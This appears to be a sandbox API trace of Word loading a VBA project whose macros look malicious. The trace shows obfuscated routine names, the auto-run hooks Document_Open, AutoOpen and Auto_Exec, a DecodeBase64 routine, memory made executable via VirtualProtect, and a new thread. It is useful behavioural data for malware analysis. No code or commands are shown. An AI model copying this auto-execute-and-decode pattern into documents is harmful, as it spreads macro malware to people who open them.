0x2885d9c7710 [0071.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=49, lpMultiByteStr=0xbcb38f61a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 49 [0071.339] strcpy_s (in: _Dst=0x2885d6ed090, _DstSize=0x32, _Src="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0071.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0xbcb38f62b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0071.339] strcpy_s (in: _Dst=0x2885d6ed0d0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0071.339] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d9c7b60 [0071.339] IUnknown:AddRef (This=0x2885d4c6250) returned 0x5 [0071.339] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.339] IUnknown:Release (This=0x2885d4c6250) returned 0x4 [0071.339] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0071.339] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0071.339] IUnknown:AddRef (This=0x28857594370) returned 0xa [0071.339] ITypeLib:RemoteGetLibAttr (in: This=0x28857594370, ppTLibAttr=0xbcb38f6118, pDummy=0x0 | out: ppTLibAttr=0xbcb38f6118, pDummy=0x0) returned 0x0 [0071.340] ITypeLib:RemoteGetDocumentation (in: This=0x28857594370, index=-1, refPtrFlags=0xb38f6130, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0071.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=53, lpMultiByteStr=0xbcb38f61a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 53 [0071.340] strcpy_s (in: _Dst=0x2885d6ed140, _DstSize=0x36, _Src="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB") returned 0x0 [0071.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xbcb38f62b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0071.340] strcpy_s (in: _Dst=0x2885d6ed180, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0071.340] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6edd00 [0071.340] IUnknown:AddRef (This=0x28857594370) returned 0xb [0071.340] ITypeLib:LocalReleaseTLibAttr (This=0x28857594370) returned 0x0 [0071.340] IUnknown:Release (This=0x28857594370) returned 0xa [0071.340] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0071.340] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0071.341] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0 [0071.341] IUnknown:AddRef (This=0x2884e335eb0) returned 0x6 [0071.341] ITypeLib:RemoteGetLibAttr (in: This=0x2884e335eb0, ppTLibAttr=0xbcb38f6118, pDummy=0x0 | out: ppTLibAttr=0xbcb38f6118, pDummy=0x0) returned 0x0 [0071.341] ITypeLib:RemoteGetDocumentation (in: This=0x2884e335eb0, index=-1, refPtrFlags=0xb38f6130, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0071.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0xbcb38f61a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\stdole2.tlbce\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31 [0071.341] strcpy_s (in: _Dst=0x2885d6edd88, _DstSize=0x20, _Src="C:\\Windows\\System32\\stdole2.tlb" | out: _Dst="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0071.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xbcb38f62b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0071.341] strcpy_s (in: _Dst=0x2885d6eddb0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0071.341] IUnknown:AddRef (This=0x2884e335eb0) returned 0x7 [0071.341] ITypeLib:LocalReleaseTLibAttr (This=0x2884e335eb0) returned 0x0 [0071.341] IUnknown:Release (This=0x2884e335eb0) returned 0x6 [0071.341] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x20) returned 0x2885da87b10 [0071.341] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0071.342] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0071.342] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 2 [0071.342] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\CNormal") returned 4 [0071.342] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0071.342] IUnknown:AddRef (This=0x2885d608e20) returned 0x3 [0071.343] ITypeLib:RemoteGetLibAttr (in: This=0x2885d608e20, ppTLibAttr=0xbcb38f6118, pDummy=0x0 | out: ppTLibAttr=0xbcb38f6118, pDummy=0x0) returned 0x0 [0071.343] ITypeLib:RemoteGetDocumentation (in: This=0x2885d608e20, index=-1, refPtrFlags=0xb38f6130, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2884c070000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2884c070000*=0x0) returned 0x0 [0071.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0xbcb38f61a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpUsedDefaultChar=0x0) returned 63 [0071.343] strcpy_s (in: _Dst=0x2885d6ede20, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0071.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xbcb38f62b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0071.343] strcpy_s (in: _Dst=0x2885d6ede68, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0071.343] IUnknown:AddRef (This=0x2885d608e20) returned 0x4 [0071.343] ITypeLib:LocalReleaseTLibAttr (This=0x2885d608e20) returned 0x0 [0071.343] IUnknown:Release (This=0x2885d608e20) returned 0x3 [0071.343] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6d1b50) [0071.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d918aa0 [0071.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d918b00 [0071.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d919520 [0071.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d919580 [0071.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f5ac0 [0071.344] strcpy_s (in: _Dst=0x2885d6edec0, _DstSize=0x16, _Src="OeBsBDJAFBVPwXvmpQPhk" | out: _Dst="OeBsBDJAFBVPwXvmpQPhk") returned 0x0 [0071.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425050 [0071.344] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425050) returned 0x26d [0071.344] GetCurrentProcess () returned 0xffffffffffffffff [0071.344] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425050, dwSize=0x45) returned 1 [0071.344] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425050) [0071.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f59d0 [0071.345] strcpy_s (in: _Dst=0x2885d6edee0, _DstSize=0xe, _Src="Document_Open" | out: _Dst="Document_Open") returned 0x0 [0071.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.345] GetCurrentProcess () returned 0xffffffffffffffff [0071.345] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x3d) returned 1 [0071.345] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f5c50 [0071.345] strcpy_s (in: _Dst=0x2885d6edef8, _DstSize=0xd, _Src="DocumentOpen" | out: _Dst="DocumentOpen") returned 0x0 [0071.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ecd40 [0071.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425f50 [0071.345] GetCurrentProcess () returned 0xffffffffffffffff [0071.345] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425f50, dwSize=0x3d) returned 1 [0071.345] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425f50) [0071.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f5ca0 [0071.345] strcpy_s (in: _Dst=0x2885d6edf10, _DstSize=0xa, _Src="Auto_Open" | out: _Dst="Auto_Open") returned 0x0 [0071.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.346] GetCurrentProcess () returned 0xffffffffffffffff [0071.346] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x3d) returned 1 [0071.346] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f57a0 [0071.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.346] GetCurrentProcess () returned 0xffffffffffffffff [0071.346] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x3d) returned 1 [0071.346] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6eab80 [0071.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f5200 [0071.346] strcpy_s (in: _Dst=0x2885d6ed190, _DstSize=0xa, _Src="Auto_Exec" | out: _Dst="Auto_Exec") returned 0x0 [0071.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d426450 [0071.346] GetCurrentProcess () returned 0xffffffffffffffff [0071.346] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d426450, dwSize=0x3d) returned 1 [0071.346] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d426450) [0071.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f5480 [0071.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ec8c0 [0071.347] strcpy_s (in: _Dst=0x2885d6ec8e8, _DstSize=0x9, _Src="AutoExec" | out: _Dst="AutoExec") returned 0x0 [0071.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d4252d0 [0071.347] GetCurrentProcess () returned 0xffffffffffffffff [0071.347] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d4252d0, dwSize=0x3d) returned 1 [0071.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d4252d0) [0071.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x50) returned 0x2885d9195e0 [0071.347] strcpy_s (in: _Dst=0x2885d6ec900, _DstSize=0xd, _Src="DecodeBase64" | out: _Dst="DecodeBase64") returned 0x0 [0071.347] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d9c3210 [0071.347] strcpy_s (in: _Dst=0x2885d6eb078, _DstSize=0x4, _Src="b64" | out: _Dst="b64") returned 0x0 [0071.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425f50 [0071.347] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425f50) returned 0x26d [0071.347] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425f50) returned 0x26d [0071.347] GetCurrentProcess () returned 0xffffffffffffffff [0071.347] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425f50, dwSize=0x4d) returned 1 [0071.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425f50) [0071.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6eb480 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2885d5f5a20 [0071.348] strcpy_s (in: _Dst=0x2885d6ec918, _DstSize=0x16, _Src="cwqRTnIrAhnteXoHsTjMN" | out: _Dst="cwqRTnIrAhnteXoHsTjMN") returned 0x0 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.348] GetCurrentProcess () returned 0xffffffffffffffff [0071.348] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x3d) returned 1 [0071.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2884e395a30 [0071.348] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d9c5040 [0071.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e395a30) [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2884e28a6b0 [0071.348] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2884e28a6b0) returned 0x80 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2884e395cb0 [0071.348] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="OeBsBDJAFBVPwXvmpQPhk") returned 0x30f0e1 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2884e395a30 [0071.348] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="Document_Open") returned 0x3089c1 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2884e396670 [0071.348] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="DocumentOpen") returned 0x30f548 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2cbb60 [0071.348] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="Auto_Open") returned 0x302056 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2cbe80 [0071.348] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="AutoOpen") returned 0x302ad9 [0071.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2cc720 [0071.348] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="Auto_Exec") returned 0x309269 [0071.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2cc840 [0071.349] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="AutoExec") returned 0x309cec [0071.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2cd020 [0071.349] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="DecodeBase64") returned 0x30bb38 [0071.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2cca80 [0071.349] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="cwqRTnIrAhnteXoHsTjMN") returned 0x303651 [0071.349] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="Auto_Exec", cchCount2=-1) returned 3 [0071.349] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="AutoOpen", cchCount2=-1) returned 2 [0071.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d919640 [0071.349] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d919640) returned 0x58 [0071.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da87690) [0071.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2ca1c0 [0071.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.350] free (_Block=0x0) [0071.350] free (_Block=0x0) [0071.350] free (_Block=0x0) [0071.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d919760 [0071.350] GetCurrentProcess () returned 0xffffffffffffffff [0071.350] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed928, dwSize=0x8) returned 1 [0071.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d91f340 [0071.351] GetCurrentProcess () returned 0xffffffffffffffff [0071.351] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed9e8, dwSize=0x8) returned 1 [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d45eb00 [0071.351] GetCurrentProcess () returned 0xffffffffffffffff [0071.351] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecd78, dwSize=0x8) returned 1 [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885d45f820 [0071.351] GetCurrentProcess () returned 0xffffffffffffffff [0071.351] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ece30, dwSize=0x8) returned 1 [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2884e225100 [0071.351] GetCurrentProcess () returned 0xffffffffffffffff [0071.351] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecee8, dwSize=0x8) returned 1 [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x288572cff50 [0071.351] GetCurrentProcess () returned 0xffffffffffffffff [0071.351] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eac38, dwSize=0x8) returned 1 [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885daa1930 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eacf0, dwSize=0x8) returned 1 [0071.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x11) returned 0x2885d2ca1c0 [0071.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885daa1510 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecf20, dwSize=0x8) returned 1 [0071.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0) [0071.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2885daa26b0 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eb548, dwSize=0x8) returned 1 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed928, dwSize=0x8) returned 1 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed9e8, dwSize=0x8) returned 1 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecd78, dwSize=0x8) returned 1 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ece30, dwSize=0x8) returned 1 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecee8, dwSize=0x8) returned 1 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecf20, dwSize=0x8) returned 1 [0071.355] GetCurrentProcess () returned 0xffffffffffffffff [0071.355] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eac38, dwSize=0x8) returned 1 [0071.356] GetCurrentProcess () returned 0xffffffffffffffff [0071.356] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eacf0, dwSize=0x8) returned 1 [0071.356] GetCurrentProcess () returned 0xffffffffffffffff [0071.356] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eb548, dwSize=0x8) returned 1 [0071.356] free (_Block=0x0) [0071.356] free (_Block=0x0) [0071.356] free (_Block=0x0) [0071.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d2ca1c0 [0071.356] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d919640) [0071.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0071.356] GetCurrentProcess () returned 0xffffffffffffffff [0071.356] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eabcc, dwSize=0x3d) returned 1 [0071.356] VirtualProtect (in: lpAddress=0x2885d6eabcc, dwSize=0x40, flNewProtect=0x40, lpflOldProtect=0xbcb38f5e5c | out: lpflOldProtect=0xbcb38f5e5c*=0x4) returned 1 [0071.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2885d5f5700 [0071.357] DispCallFunc (pvInstance=0x0, oVft=0x2885d6eabd4, cc=0x4, vtReturn=0x0, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0xbcb38f68b0) returned 0x0 [0071.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7ff9bdb521e0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0xbcb38f6380 | out: lpThreadId=0xbcb38f6380*=0x9d8) returned 0x15c0 [0071.357] PeekMessageA (in: lpMsg=0xbcb38f6320, hWnd=0x6003e, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0xbcb38f6320) returned 0 